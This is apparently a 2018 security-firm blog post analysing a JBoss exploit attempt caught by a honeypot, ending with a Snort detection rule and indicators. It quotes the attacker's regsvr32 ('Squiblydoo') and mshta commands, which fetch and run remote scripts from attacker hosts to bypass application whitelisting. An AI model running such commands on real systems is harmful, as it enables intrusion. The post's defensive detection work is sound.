2018-06-29 10:30 | Nichlas Holm Jørgensen

Honeypots were getting hacked

We are actively maintaining a honeypot research project with various systems scattered across the internet. These systems emulate different vulnerable services, and we are happy to say they are getting "hacked" on a regular basis :-).

This blogpost is a story of how we recently became aware of "new" offensive tricks by analysing data from this defensive research project.

JBoss Hack

On April 9 2018, someone (95.211.199.151) actively tried to compromise multiple of our honeypots. In a short period of time, this IP was trying to compromise several of our systems. We assess that it probably had been scanning large parts of the internet, since we were seeing exploit attempts on multiple of our systems.

He was trying to exploit an old vulnerabillity where misconfigured JBoss servers will allow unauthenticated users to deploy Java applets CVE-2007-1036. What I find sad is the fact that these old vulnerabilities are still being targeted on the internet, meaning that there are probably still vulnerable systems out there.

After analysis of the exploit attempt and extraction/deserialization of the payload (via: SerializationDumper), I stumbled upon something interesting.

cmd.exe /c regsvr32 /s /n /u /i:https[:]//nonnisi[.]serveo[.]net/a scrobj.dll 

cmd.exe /c regsvr32 /s /n /u /i:https[:]//nonnisi[.]serveo[.]net/login.htm scrobj.dll
                                
cmd.exe /c regsvr32 /s /n /u /i:https[:]//blue-yak-25[.]localtunnel[.]me/login.aspx scrobj.dll

cmd.exe /c regsvr32 /s /n /u /i:https[:]//senis[.]serveo[.]net/login.asp scrobj.dll

cmd.exe /c regsvr32 /s /n /u /i:http[:]//31[.]204[.]153[.]182[:]21012/index.asp scrobj.dll
                                
cmd.exe /c mshta.exe http://31[.]204[.]153[.]182[:]21012/index.hta
                                

I had seen the use of mshta.exe before, but this "scrobj.dll"-thing was new to me. A quick Google search revealed a threat advisory from Carbon Black referring to "Squiblydoo", an application whitelisting bypass technique. What I found interesting was that the advisory inferred that you would have to implement "custom" rules for blocking this bypass. Would this bypass perhaps work with "default" settings?

So this JBoss hacker was actively trying to defeat potential application whitelisting solutions, I was impressed and confused at the same time: Who would have JBoss server with unauthanticated app deployment, and then at the same time had gone through the trouble of implementing application whitelisting on it?

We are going to have a closer look at these and other bypass techniques vs application whitelisting solutions in a future blog post.

Traditional network IOC approach

We tried to fetch the second stage files from this attack. However, at the point in time of writing they where not available anymore. If this was a "real" incident, it would have been an interesting case for writing good network IOC's/Signatures for further detection:

1. Domains used were from serveo.net and localtunnel.me that both provide easy tunneling with dynamic subdomains, so these domains are probably not going to be used again.
2. IP's used were from VPS providers Leaseweb and i3d.net. Again, these are poor indicators since they are easy to change.
3. Filenames were also pretty generic - login.htm, login.aspx, and login.asp are going to give A LOT of false positives for network signatures. The URI "/a" or "index.hta" seemed like only potential interesting filenames. However "/a" just reeks of laziness and could easily be changed.

Traditional IOC's seemed like a bad way of trying to detect this attack, since these where either too generic or too dynamic.

Let's try to implement a signature for future detection

I figured that there would probably already be an open source signature available for detection of of this vulnerability. But after Googling, I could not find a good generic signature for the exploitation part. After this I then tried to fetch the latest Emerging Threats opensource ruleset. However, I was not seeing any of the ET-rules fire on my PCAP, so I decided to write a signature of my own.

In my experience a good starting point for writing signatures is targeting the things that are hard/impossible to change for the adversary:

1. For successful exploitation in this "incident", someone will need to POST Java serialized data to the application.
2. In all of the payloads the adversary used the "cmd.exe /c" for various purposes inside the serialized data.
3. Is it viable that the networks you are trying to defend will have business requirements where 1 or 2 are valid usage of the application?

If posting Java serialized data with "cmd.exe /c" inside is not part of your normal business requirements, we now have a pretty good starting point for writing a successful signature.

Investigating of the exploitation attempts header values:

POST /invoker/JMXInvokerServlet HTTP/1.1
Host: "HONEYPOT IP"
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36
content-type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue
content-length: 1351
accept-encoding: gzip, deflate
							    

Initial thoughts:

1. HTTP Header "content-type: application/x-java-serialized-object" seemed like a nice contender.
2. The magic bytes I got from the Java deserialization tool could also be interesting: AC ED 00 05 = Java serialization data, version 5.

The Snort rule below should fire if anyone sends HTTP-traffic with "content-type: application/x-java-serialized-object" to a webserver running on port 8080. Since we have not restricted us to a hardcoded URI/User-Agent/etc. we should now have a better chance of generic detection.

alert tcp any any -> any 8080  (msg: "Potential Java serialization exploit attempt detected"; content:"application/x-java-serialized-object"; http_header; flow:to_server,established; sid:9009112; rev:1;)
                                

This honeypot "incident" was a good example of how you can actually learn something new from adversaries trying to compromise your networks.

We are happy to share the snort rule + traditional IOC's. We hope that someone will catch some evil bytes with them...